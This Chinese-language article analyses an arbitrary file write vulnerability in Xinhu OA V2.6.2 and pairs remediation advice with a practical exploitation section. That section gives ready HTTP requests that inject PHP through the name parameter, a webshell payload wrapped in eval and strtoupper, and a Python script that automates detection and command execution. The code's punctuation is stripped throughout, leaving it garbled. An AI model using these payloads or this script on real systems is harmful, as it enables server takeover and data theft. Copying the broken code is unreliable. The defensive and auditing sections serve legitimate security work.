信呼OA V2.6.2 任意文件写入漏洞分析:普通用户权限下3步构造PHP Webshell
信呼OA V2.6.2 任意文件写入漏洞深度解析与实战利用漏洞背景与影响范围信呼OA作为一款在中小企业中广泛使用的开源协同办公系统其安全性直接关系到企业核心数据资产的安全。2023年12月发布的V2.6.2版本中存在一个高危的任意文件写入漏洞攻击者仅需普通用户权限即可通过精心构造的请求在服务器上写入PHP webshell进而实现远程代码执行。该漏洞的特殊性在于低权限要求不同于传统OA系统漏洞需要管理员权限此漏洞普通用户即可触发新版影响区别于早期版本已知漏洞这是首个公开的V2.6.x系列可利用漏洞隐蔽性强漏洞利用过程不涉及文件上传可绕过常规WAF检测规则根据网络空间测绘数据显示全球使用信呼OA的网站超过1万个主要分布在制造业、教育机构和政府单位其中约60%运行着受影响版本。漏洞原理与代码审计核心问题定位漏洞根源位于webmain/main/flow/flowAction.php文件中的copymodeAjax方法。该方法在处理模板复制请求时未对用户输入的name参数进行有效过滤直接将其拼接到PHP文件内容中。关键漏洞代码如下public function copymodeAjax() { $id (int)$this-get(id); $name $this-get(name); // 未过滤的用户输入 //... $stra ?php class mode_.$name.ClassAction extends inputAction {...}; $this-rock-createtxt($apaths, $stra); // 直接写入文件 }漏洞触发链条完整的漏洞利用涉及以下关键步骤参数注入点name参数通过POST传递允许包含特殊字符大小写转换系统自动将输入转为小写限制了大写字母的使用文件写入通过createtxt方法将构造的类定义写入/flow/input/目录文件访问生成的PHP文件可通过固定URL路径直接访问安全机制绕过分析虽然系统存在部分防护措施但均被有效绕过防护措施绕过方法有效性XSS过滤使用{}分隔PHP代码完全绕过大小写限制使用strtoupper动态转换部分绕过文件后缀检查固定生成.php文件不适用漏洞利用实战基础利用 - 写入PHP信息页通过以下请求可在服务器上创建包含phpinfo()的测试文件POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};phpinfo();class a生成的文件可通过两种路径访问/webmain/flow/input/mode_a{};phpinfo();class aAction.php/webmain/model/flow/mode_a{};phpinfo();class aModel.php高级利用 - 写入功能性Webshell由于大小写限制需要使用特殊技巧写入可用的webshellPOST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};eval(strtoupper(eval($_request[1]);));class a访问时需进行URL编码http://target.com/webmain/flow/input/mode_a%7B%7D%3Beval%28strtoupper%28%22eval%28%24_request%5B1%5D%29%3B%22%29%29%3Bclass%20aAction.php?1echo%20md5(1);自动化利用脚本以下Python脚本可自动化漏洞检测与利用import requests import urllib.parse def check_vuln(url): payload a{};phpinfo();class a data {id: 1, name: payload} try: r requests.post(f{url}/index.php?dmainmflowacopymodeajaxbooltrue, datadata, timeout10) if r.status_code 200: return True except: pass return False def exploit(url, cmd): payload fa{{}};eval(strtoupper(\eval($_request[1]);\));class a data {id: 1, name: payload} requests.post(f{url}/index.php?dmainmflowacopymodeajaxbooltrue, datadata) encoded urllib.parse.quote(payload) r requests.get(f{url}/webmain/flow/input/mode_{encoded}Action.php?1{cmd}) return r.text防御方案与修复建议临时缓解措施对于无法立即升级的用户建议采取以下防护输入过滤在应用层添加对name参数的严格校验仅允许字母数字和下划线过滤所有特殊字符{};()$目录权限限制/webmain/flow/input/目录的写入权限chmod -R 755 /path/to/webmain/flow/input/WAF规则添加以下自定义规则拦截攻击请求SecRule ARGS_POST:name contains {} id:1001,deny,status:403官方修复方案信呼OA官方已在后续版本中通过以下方式修复漏洞参数过滤对name参数增加正则校验$name preg_replace(/[^a-zA-Z0-9_]/, , $name);内容转义对写入文件的内容进行HTML实体编码$stra htmlspecialchars($stra, ENT_QUOTES);权限校验增加模板复制操作的权限检查建议所有用户升级至V2.6.3或更高版本升级前务必做好数据备份。漏洞挖掘方法论本漏洞的发现过程体现了经典的白盒审计思路危险函数追踪全局搜索file_put_contents、fwrite等文件操作函数参数回溯分析从写入点反向追踪用户可控输入源调用链重构绘制完整的参数传递路径图利用场景构建结合业务逻辑设计可行的攻击路径在实际审计中还应特别注意以下代码模式动态文件生成如模板引擎未过滤的用户输入直接拼接非常规文件操作如日志写入、缓存生成企业安全防护体系建议针对此类办公系统的安全防护建议建立多层防御体系防护层级具体措施实施要点网络层入侵检测系统监控异常文件创建行为主机层文件完整性监控关键目录变更告警应用层输入输出过滤统一安全过滤组件数据层定期备份离线存储备份数据管理层漏洞管理流程建立补丁更新机制特别提醒在漏洞修复后应全面检查服务器是否存在遗留的webshell文件推荐使用以下命令进行排查find /var/www -name *.php -mtime -7 -exec grep -l eval( {} \;